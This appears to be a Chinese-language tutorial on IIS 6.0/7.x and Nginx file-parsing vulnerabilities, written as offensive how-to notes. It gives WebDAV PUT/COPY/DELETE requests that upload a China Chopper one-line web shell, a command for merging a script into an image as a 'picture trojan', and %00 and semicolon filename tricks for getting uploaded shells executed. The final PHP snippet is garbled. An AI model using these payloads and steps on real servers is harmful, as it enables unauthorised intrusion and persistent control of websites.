IIS6.0 解析漏洞

1.在网站目录中如果存在名为*.asp、*asa的目录，那么该目录下内的任何文件都会被解析成asp文件被执行。

2.再上传图片木马的时候，将文件名改为*.asp;,jpg，该文件文件都会被IIS解析为asp文件执行。

3.还有IIS6.0 默认的可执行文件除了asp还包含这三种/wooyun.cer、/wooyun.asa、/wooyun.cdx

4.（转载）WebDav漏洞（对IIS写权限的利用,这个我们在之前学http请求的时候就说过的请求头和正文语句,这段好好看）

• 第一步，通过OPTIONS探测服务器所支持的方法

请求：

OPTIONS / /1.1

Host:www.example.com

响应：

Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH

• 第二步，通过PUT方法向服务器上传脚本文件

请求：

PUT /a.txt HTTP/1.1

Host:www.example.com

Content-Length:30

<%eval request("chopper")%>

第三步，通过Move或Copy方法改名

请求：

COPY /a.txt HTTP/1.1

Host:www.example.com

Destination:http://www.example.com/cmd.asp

第四步，使用DELETE方法，者还可以删除服务器上的任意文件

请求：

DELETE /a.txt HTTP/1.1

Host:www.example.com

5.当你上传的木马如asp/aspx，必须在IIS6.0环境，且在以x.asp为名称的文件夹下面，才能执行图片里的代码，也就是说，图片木马执行必须满足2个条件：A：有x.asp文件夹；B：图片木马在x.asp文件夹下，那么怎么去达到这种目的就需要奇艺技巧了，常见的是通过%00截断和一些个更改上传时候的属性。（下面会讲到）

------------------------------------------------------------------------------------------------------------------------------------------------------------------------

图片木马制作方法

使用CMD制作一句话木马。

参数/b指定以二进制格式复制、合并文件; 用于图像类/声音类文件

参数/a指定以ASCII格式复制、合并文件。用于txt等文档类文件

copy 1.jpg/b+1.php 2.jpg

//意思是将1.jpg以二进制与1.php合并成2.jpg

那么2.jpg就是图片木马了。

--------------------------------------------------------------------------------------------------

查看数据包,其中Content-Disposition:form-data;name=”path”下面的一行为服务保存文件的相对路径，我们把原本的 uploadimg/ 改为 uploadimg/1.php;。

---------------------------------------------------------------------------------------------------

截断上传，是借助%00截断上传使%00后面的字串被忽略，如：1.asp.jpg=1.asp%00.jpg，从而成功上传shell。

---------------------------------------------------------------------------------------------------

二、IIS7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

 

找到使用IIS7.0架设的站，然后找到其中的图片上传点（不需要管理权限，普通注册用户即可搞定），把PHP大马后缀改成.jpg，传上去，得到图片地址。

在图片格式后面添加xx.jpg/. php随便你怎么填。只要后缀为.php就好。如（)

    ');?>然后访问sp.jpg/.php,在这个目录下就会生成一句话木马 shell.php